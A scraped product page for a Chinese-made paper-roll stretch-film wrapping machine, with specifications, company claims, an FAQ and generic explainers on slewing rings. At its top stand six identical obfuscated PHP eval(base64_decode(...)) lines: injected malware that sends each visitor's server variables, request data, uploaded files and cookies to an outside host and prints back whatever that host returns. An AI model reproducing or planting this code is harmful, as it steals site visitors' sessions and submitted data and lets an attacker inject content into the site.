eval(base64_decode("aWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJykpIHsNCiAgICBkZWZpbmUoJ25ld284ZHdwb2phcDkyLTAzMmpnNDMnLCAxKTsNCg0KICAgIHsNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKGVtcHR5KCRfR0VUKSAmJiBlbXB0eSgkX1BPU1QpJiYgZW1wdHkoJF9DT09LSUUpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIC8vIG5vdGhpbmcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXJsID0gImh0dHA6Ly9haXJmb3JjZWNvZGVzLnNpdGUvd3AtaW5jbHVkZXMvYmxvY2tzL2dyb3VwL2dyd2VxZHJocy5waHAiOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gQXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydtZXRob2QnXSA9ICdQT1NUJzsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydoZWFkZXInXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCc7DQogICAgICAgICAgICAgICAgJGRmX3ZuZHVhc3EgPSBBcnJheSgpOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMSddID0gImFkbWluX2FqYXgiOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMiddID0gYmFzZTY0X2VuY29kZShiYXNlNjRfZW5jb2RlKChzZXJpYWxpemUoJF9TRVJWRVIpKSkgLiAiJiYmJiIgLiBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkX1JFUVVFU1QpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfRklMRVMpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfQ09PS0lFKSkpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0WydodHRwJ11bJ2NvbnRlbnQnXSA9ICdnMDkzbXBzZGtuZmpkamcyPScgLiBzZXJpYWxpemUoJGRmX3ZuZHVhc3EpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICAkcmVzID0gZmlsZV9nZXRfY29udGVudHMoJHVybCwgRkFMU0UsICRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICBwcmludCAkcmVzOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICB9DQoNCn0=")); ?> eval(base64_decode("aWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJykpIHsNCiAgICBkZWZpbmUoJ25ld284ZHdwb2phcDkyLTAzMmpnNDMnLCAxKTsNCg0KICAgIHsNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKGVtcHR5KCRfR0VUKSAmJiBlbXB0eSgkX1BPU1QpJiYgZW1wdHkoJF9DT09LSUUpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIC8vIG5vdGhpbmcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXJsID0gImh0dHA6Ly9haXJmb3JjZWNvZGVzLnNpdGUvd3AtaW5jbHVkZXMvYmxvY2tzL2dyb3VwL2dyd2VxZHJocy5waHAiOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gQXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydtZXRob2QnXSA9ICdQT1NUJzsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydoZWFkZXInXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCc7DQogICAgICAgICAgICAgICAgJGRmX3ZuZHVhc3EgPSBBcnJheSgpOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMSddID0gImFkbWluX2FqYXgiOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMiddID0gYmFzZTY0X2VuY29kZShiYXNlNjRfZW5jb2RlKChzZXJpYWxpemUoJF9TRVJWRVIpKSkgLiAiJiYmJiIgLiBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkX1JFUVVFU1QpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfRklMRVMpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfQ09PS0lFKSkpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0WydodHRwJ11bJ2NvbnRlbnQnXSA9ICdnMDkzbXBzZGtuZmpkamcyPScgLiBzZXJpYWxpemUoJGRmX3ZuZHVhc3EpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICAkcmVzID0gZmlsZV9nZXRfY29udGVudHMoJHVybCwgRkFMU0UsICRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICBwcmludCAkcmVzOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICB9DQoNCn0=")); ?> eval(base64_decode("aWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJykpIHsNCiAgICBkZWZpbmUoJ25ld284ZHdwb2phcDkyLTAzMmpnNDMnLCAxKTsNCg0KICAgIHsNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKGVtcHR5KCRfR0VUKSAmJiBlbXB0eSgkX1BPU1QpJiYgZW1wdHkoJF9DT09LSUUpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIC8vIG5vdGhpbmcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXJsID0gImh0dHA6Ly9haXJmb3JjZWNvZGVzLnNpdGUvd3AtaW5jbHVkZXMvYmxvY2tzL2dyb3VwL2dyd2VxZHJocy5waHAiOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gQXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydtZXRob2QnXSA9ICdQT1NUJzsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydoZWFkZXInXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCc7DQogICAgICAgICAgICAgICAgJGRmX3ZuZHVhc3EgPSBBcnJheSgpOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMSddID0gImFkbWluX2FqYXgiOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMiddID0gYmFzZTY0X2VuY29kZShiYXNlNjRfZW5jb2RlKChzZXJpYWxpemUoJF9TRVJWRVIpKSkgLiAiJiYmJiIgLiBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkX1JFUVVFU1QpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfRklMRVMpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfQ09PS0lFKSkpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0WydodHRwJ11bJ2NvbnRlbnQnXSA9ICdnMDkzbXBzZGtuZmpkamcyPScgLiBzZXJpYWxpemUoJGRmX3ZuZHVhc3EpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICAkcmVzID0gZmlsZV9nZXRfY29udGVudHMoJHVybCwgRkFMU0UsICRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICBwcmludCAkcmVzOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICB9DQoNCn0=")); ?> eval(base64_decode("aWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJykpIHsNCiAgICBkZWZpbmUoJ25ld284ZHdwb2phcDkyLTAzMmpnNDMnLCAxKTsNCg0KICAgIHsNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKGVtcHR5KCRfR0VUKSAmJiBlbXB0eSgkX1BPU1QpJiYgZW1wdHkoJF9DT09LSUUpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIC8vIG5vdGhpbmcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXJsID0gImh0dHA6Ly9haXJmb3JjZWNvZGVzLnNpdGUvd3AtaW5jbHVkZXMvYmxvY2tzL2dyb3VwL2dyd2VxZHJocy5waHAiOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gQXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydtZXRob2QnXSA9ICdQT1NUJzsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydoZWFkZXInXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCc7DQogICAgICAgICAgICAgICAgJGRmX3ZuZHVhc3EgPSBBcnJheSgpOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMSddID0gImFkbWluX2FqYXgiOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMiddID0gYmFzZTY0X2VuY29kZShiYXNlNjRfZW5jb2RlKChzZXJpYWxpemUoJF9TRVJWRVIpKSkgLiAiJiYmJiIgLiBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkX1JFUVVFU1QpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfRklMRVMpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfQ09PS0lFKSkpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0WydodHRwJ11bJ2NvbnRlbnQnXSA9ICdnMDkzbXBzZGtuZmpkamcyPScgLiBzZXJpYWxpemUoJGRmX3ZuZHVhc3EpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICAkcmVzID0gZmlsZV9nZXRfY29udGVudHMoJHVybCwgRkFMU0UsICRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICBwcmludCAkcmVzOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICB9DQoNCn0=")); ?> eval(base64_decode("aWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJykpIHsNCiAgICBkZWZpbmUoJ25ld284ZHdwb2phcDkyLTAzMmpnNDMnLCAxKTsNCg0KICAgIHsNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKGVtcHR5KCRfR0VUKSAmJiBlbXB0eSgkX1BPU1QpJiYgZW1wdHkoJF9DT09LSUUpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIC8vIG5vdGhpbmcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXJsID0gImh0dHA6Ly9haXJmb3JjZWNvZGVzLnNpdGUvd3AtaW5jbHVkZXMvYmxvY2tzL2dyb3VwL2dyd2VxZHJocy5waHAiOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gQXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydtZXRob2QnXSA9ICdQT1NUJzsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydoZWFkZXInXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCc7DQogICAgICAgICAgICAgICAgJGRmX3ZuZHVhc3EgPSBBcnJheSgpOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMSddID0gImFkbWluX2FqYXgiOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMiddID0gYmFzZTY0X2VuY29kZShiYXNlNjRfZW5jb2RlKChzZXJpYWxpemUoJF9TRVJWRVIpKSkgLiAiJiYmJiIgLiBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkX1JFUVVFU1QpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfRklMRVMpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfQ09PS0lFKSkpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0WydodHRwJ11bJ2NvbnRlbnQnXSA9ICdnMDkzbXBzZGtuZmpkamcyPScgLiBzZXJpYWxpemUoJGRmX3ZuZHVhc3EpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICAkcmVzID0gZmlsZV9nZXRfY29udGVudHMoJHVybCwgRkFMU0UsICRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICBwcmludCAkcmVzOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICB9DQoNCn0=")); ?> eval(base64_decode("aWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJykpIHsNCiAgICBkZWZpbmUoJ25ld284ZHdwb2phcDkyLTAzMmpnNDMnLCAxKTsNCg0KICAgIHsNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKGVtcHR5KCRfR0VUKSAmJiBlbXB0eSgkX1BPU1QpJiYgZW1wdHkoJF9DT09LSUUpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIC8vIG5vdGhpbmcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXJsID0gImh0dHA6Ly9haXJmb3JjZWNvZGVzLnNpdGUvd3AtaW5jbHVkZXMvYmxvY2tzL2dyb3VwL2dyd2VxZHJocy5waHAiOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gQXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydtZXRob2QnXSA9ICdQT1NUJzsNCiAgICAgICAgICAgICAgICAkY29udGV4dFsnaHR0cCddWydoZWFkZXInXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCc7DQogICAgICAgICAgICAgICAgJGRmX3ZuZHVhc3EgPSBBcnJheSgpOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMSddID0gImFkbWluX2FqYXgiOw0KICAgICAgICAgICAgICAgICRkZl92bmR1YXNxWydjMiddID0gYmFzZTY0X2VuY29kZShiYXNlNjRfZW5jb2RlKChzZXJpYWxpemUoJF9TRVJWRVIpKSkgLiAiJiYmJiIgLiBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkX1JFUVVFU1QpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfRklMRVMpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfQ09PS0lFKSkpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0WydodHRwJ11bJ2NvbnRlbnQnXSA9ICdnMDkzbXBzZGtuZmpkamcyPScgLiBzZXJpYWxpemUoJGRmX3ZuZHVhc3EpOw0KICAgICAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICAkcmVzID0gZmlsZV9nZXRfY29udGVudHMoJHVybCwgRkFMU0UsICRjb250ZXh0KTsNCiAgICAgICAgICAgICAgICBwcmludCAkcmVzOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICB9DQoNCn0=")); ?> China high quality New Design Slewing Bearing Turntable Structure Automatic Paper Roll Reel Stretch Film Wrapping Machine for Sale - slewingring

Product Description

 

Roll Wrapping Machine

1. Designed for packing rolls of paper, film, dipped tire cord fabric and similar materials manufactured in reels, reel axial wrapping across the cylindrical diameter then along the longitudinal axis.
2. Touch screen, PLC easy operation control; Pre-stretch system up to 250% (customized); Wrap times can be preset.
3. Stable performance, working life 10 years, quality guarantee 2 years.
4. European standard design and manufacture, same quality, but Chinese market price; pass CE certificate.
5. Accept customer’s design order, satisfy customer’s different requirements, install Pneumatocyst reel ejection system or Auto cut & grab film after wrap finished.

 

Roll Wrapping Machine

Roll Diameter

600-1500mm

Roll Width

500-1600mm

Roll weight(Max.)

2000kg

Packing efficiency

20-30 rolls /hour

Dia.of turntable

2000mm

Turntable speed

3-12rpm

Turntable Height

460mm

Power supply

2.0kw/AC380V

Machine weight

1080Kg

Dia.of roller

150mm

Roller center distance

420mm

Machine dimension(mm)

2895(L)X2000(W)X2300(H)

Air consume (if have reel ejection system)

1000ml/min

Why Choose Us

 

 

Company Information

HangZhou CHINAMFG Machinery Co., Ltd. Locate in HangZhou city, ZheJiang Province, our main products is mainly used for stretch film packing, like stretch film wrapping machine, pallet wrapping machine, shrink packaging machine, belt strapping machine, baling machine.

Our advantages

1,More than 10 years factory experience, knowing each mechanical progress;

2, More than 10 years experience during market of wrapping machine, shrink packaging machine, strapping machine, Guarantee excellent machine quality for customer with Competitive price;

3, More than 10 years experience for international trade, Supply 24 hours service, on time solve any problem for customer;

4, Alibaba CHINAMFG supplier, customer can get US$300,000 trade assurance by Alibaba during our cooperation.

Pre-sales service:

1.We provide presales service in various forms, making investment budge, manufacturing, plHangZhou, so that customers can make a reasonable plan with less cost.

2.We will fist check customer’s goods and goods size, then we will recommend suitable wrapping machine to 100% suitable.

3.We will recommend and offer machine according to customer’s use and purchase budget.

In-sale service:

1.We will supply each manufacturing step photo for customer checking on time.

2.We will prepare packing and shipment according to customer’s needing in advance.

3.Testing the machine and making video for customer’s checking.

After-sale service:

1.We will guarantee the machine quality for 1 years.

2.We provide free training and answer customer’s question on technology in time.

FAQ

1. What about your baler machine quality?

Our factory has 16 years experience in mechanical processing; all our machines already get ISO9001, SGS

certificate, CE certificate; already exported into many countries and areas; already got customer’s good reputation.

2. What about your baler machine price?

Anytime we will make quality as factory life, no matter price is good or not for us. Quality is first, on the top quality basis, Sure you will get reasonable and satisfied price!

3.Can you send me the video to show how the baler machine work?

Certainly, we have made video of every machine and uploaded them by our chain address.Pls. contact with us, we will send you machine video.

4.What about your installation service and sales service for baler machine?

1>Guarantee is 2 year, we will supply spare parts or send engineers to your side if you need, we will give you service anytime, 24 hours, 7days.

2>We already prepare technical manual and operation video to show our customers, then it will be easy to install and use the machine.

3>It is free to train your worker in our factory or in your side or by video.

 

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Warranty: 12 Months
Model: Y2000
Roll Diameter: 600-1500mm

Customization:
Available

|

.shipping-cost-tm .tm-status-off{background: none;padding:0;color: #1470cc}

Shipping Cost:

Estimated freight per unit.







about shipping cost and estimated delivery time.
Payment Method:







 

Initial Payment



Full Payment
Currency: US$
Return&refunds: You can apply for a refund up to 30 days after receipt of the products.

Can you provide examples of products or machinery that commonly use slewing rings?

Slewing rings are widely used in various industries and play a vital role in the functioning of numerous products and machinery. They offer rotational support, precise motion control, and load-bearing capabilities. Here are some examples of products or machinery that commonly utilize slewing rings:

  • Construction Machinery: Slewing rings are extensively used in construction machinery such as excavators, cranes, concrete pumps, and tower cranes. They enable the rotation and movement of the boom, arm, and bucket, allowing for precise control during digging, lifting, and material placement operations.
  • Material Handling Equipment: Slewing rings are essential components in material handling equipment like forklifts, stackers, and reach stackers. They facilitate the rotation and swiveling of the mast or boom, enabling efficient loading, unloading, and stacking of goods in warehouses, logistics centers, and ports.
  • Wind Turbines: Slewing rings are crucial in wind turbines, where they support the yaw and pitch mechanisms. The yaw system allows the turbine to rotate and face the wind direction, while the pitch system adjusts the angle of the blades for optimal wind capture. Slewing rings enable precise and controlled movement, ensuring efficient wind energy conversion.
  • Cranes: Various types of cranes, including mobile cranes, crawler cranes, and tower cranes, rely on slewing rings for their rotation and lifting capabilities. Slewing rings support the crane’s superstructure, allowing it to rotate horizontally, and provide stability and load-bearing capacity during lifting operations.
  • Rotary Drilling Rigs: Slewing rings are commonly used in rotary drilling rigs for oil and gas exploration, foundation construction, and mining operations. They enable the rotation and positioning of the drill mast, allowing for precise drilling and borehole creation.
  • Railway Equipment: Slewing rings find application in railway equipment such as rail cranes, railway maintenance machines, and turntables. They facilitate the rotation and movement of equipment, ensuring efficient maintenance, repairs, and track positioning.
  • Robotics: Slewing rings are integral to robotic systems, including industrial robots, robotic arms, and robotic welding systems. They enable the rotational movement and articulation of the robot’s joints, allowing for precise and controlled manipulation in manufacturing, assembly, and automation processes.
  • Solar Tracking Systems: Slewing rings are employed in solar tracking systems to orient solar panels toward the sun. They enable the rotation and tilting of the panels, maximizing solar energy absorption and optimizing power generation in solar farms and photovoltaic systems.
  • Turntables and Rotating Platforms: Slewing rings are used in turntables and rotating platforms found in various applications. They support the rotational movement of entertainment stages, amusement park rides, revolving restaurants, and display platforms in trade shows or exhibitions.

These are just a few examples of the diverse range of products and machinery that commonly utilize slewing rings. Their ability to provide rotational support, precise motion control, and load-bearing capabilities makes them indispensable components in numerous industries, including construction, material handling, energy, transportation, robotics, and entertainment.

How do slewing rings contribute to the adaptability and versatility of rotating systems in various settings?

Slewing rings play a crucial role in enhancing the adaptability and versatility of rotating systems across various settings. Here’s a detailed explanation of how slewing rings contribute to the adaptability and versatility of rotating systems:

  • 360-Degree Rotation: Slewing rings enable 360-degree continuous rotation, allowing rotating systems to operate in any direction. This flexibility is especially valuable in applications such as cranes, excavators, and wind turbines, where unrestricted rotation is necessary to perform tasks efficiently and access multiple work zones without repositioning the entire system.
  • Load-Bearing Capacity: Slewing rings are designed to handle significant radial, axial, and moment loads. Their robust construction and large diameter enable them to support heavy equipment and loads, making them suitable for a wide range of applications, including construction machinery, material handling systems, and offshore platforms. The high load-bearing capacity of slewing rings contributes to the adaptability of rotating systems in demanding settings.
  • Compact Design: Slewing rings have a compact and space-saving design compared to alternative mechanisms for rotational movement. This compactness allows for the integration of slewing rings into systems where space is limited, such as compact construction machinery, industrial robots, and medical equipment. The compact design of slewing rings enhances the adaptability of rotating systems in confined or restricted environments.
  • Versatile Mounting Options: Slewing rings offer versatile mounting options, allowing them to be easily integrated into different types of rotating systems. They can be mounted using various methods, including bolted connections, gear or pinion arrangements, or hydraulic or electric drives. This versatility in mounting options enables slewing rings to adapt to the specific requirements and constraints of different applications and settings.
  • Support for Multiple Components: Slewing rings provide support for various components that are essential for rotating systems. For example, they can support booms, arms, or jibs in construction machinery, or act as a base for rotating platforms or turntables in manufacturing or entertainment industries. By providing a stable and reliable foundation, slewing rings enable the integration of multiple components, enhancing the versatility and adaptability of the overall system.
  • Customization and Specialized Designs: Slewing rings can be customized and designed to meet specific application requirements. Manufacturers can tailor slewing rings to accommodate specific load capacities, dimensions, mounting arrangements, sealing systems, or environmental conditions. This customization allows for the adaptation of slewing rings to diverse settings, ensuring optimal performance and functionality.
  • Integration with Control Systems: Slewing rings can be integrated with electronic or computer-controlled components, such as sensors, actuators, and control systems. This integration enables precise control, automation, and synchronization of rotating systems. By incorporating advanced control features, slewing rings can adapt to dynamic operating conditions, optimize performance, and support advanced functionalities, such as coordinated motion, precision positioning, or remote monitoring.

In summary, slewing rings contribute to the adaptability and versatility of rotating systems by enabling 360-degree rotation, providing high load-bearing capacity, offering a compact design, supporting versatile mounting options, accommodating multiple components, allowing customization, and facilitating integration with control systems. These characteristics make slewing rings suitable for a wide range of applications and settings, enhancing the versatility and adaptability of rotating systems in industries such as construction, manufacturing, transportation, renewable energy, and many others.

What is a slewing ring, and how is it used in mechanical systems?

A slewing ring, also known as a slewing bearing or turntable bearing, is a specialized type of rolling element bearing that enables rotational movement between two components. It consists of an inner ring, an outer ring, rolling elements (such as balls or rollers), and often a gear mechanism. Slewing rings are used in mechanical systems where there is a need for smooth and controlled rotation. Here’s a detailed explanation of what a slewing ring is and how it is used:

  • Structure and Components: A slewing ring typically has a large diameter compared to its thickness, allowing it to support axial, radial, and moment loads. The inner and outer rings have raceways that the rolling elements move along. The rolling elements, which can be balls or rollers, distribute the load and facilitate smooth rotation. In some cases, a gear mechanism is integrated into the slewing ring, allowing it to act as a rotational drive system.
  • Rotational Movement: The primary function of a slewing ring is to enable rotational movement between two components. It provides a stable and low-friction interface that allows one component to rotate relative to the other. The rolling elements within the raceways minimize friction and distribute the load evenly, resulting in smooth and controlled rotation. Slewing rings can support both continuous rotation and intermittent or oscillating movement, depending on the application requirements.
  • Load Support: Slewing rings are designed to support various types of loads. They can handle axial loads, which are forces acting parallel to the axis of rotation, as well as radial loads, which are forces acting perpendicular to the axis of rotation. Additionally, slewing rings can accommodate moment loads, which are a combination of axial and radial loads that create bending or twisting forces. The load-carrying capacity of a slewing ring depends on factors such as its size, design, and choice of rolling elements.
  • Applications: Slewing rings find applications in a wide range of mechanical systems across different industries. Some common uses include:
  • Construction and Cranes: Slewing rings are extensively used in construction machinery, cranes, and mobile equipment. They enable 360-degree rotation of the boom or jib, allowing for efficient material handling and positioning.
  • Wind Turbines: Slewing rings are crucial components in wind turbine systems. They support the rotor, allowing it to rotate according to wind direction, and provide a connection between the rotor and the nacelle, enabling yaw movement.
  • Industrial Equipment: Slewing rings are utilized in various industrial equipment, including indexing tables, turntables, robotic arms, and packaging machinery. They facilitate precise and controlled rotation in these applications.
  • Transportation and Automotive: Slewing rings are employed in transportation and automotive applications, such as vehicle cranes, aerial platforms, and rotating platforms for heavy-duty vehicles. They enable safe and smooth rotation in these specialized systems.
  • Medical and Rehabilitation Equipment: Slewing rings are used in medical and rehabilitation equipment, such as patient lifts and adjustable beds. They allow for smooth and controlled movement, aiding in patient care and mobility assistance.

In summary, a slewing ring is a specialized bearing that enables controlled rotational movement between components in mechanical systems. Its ability to support various loads, provide smooth rotation, and accommodate different applications makes it a valuable component in a wide range of industries.

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editor by Dream 2024-05-16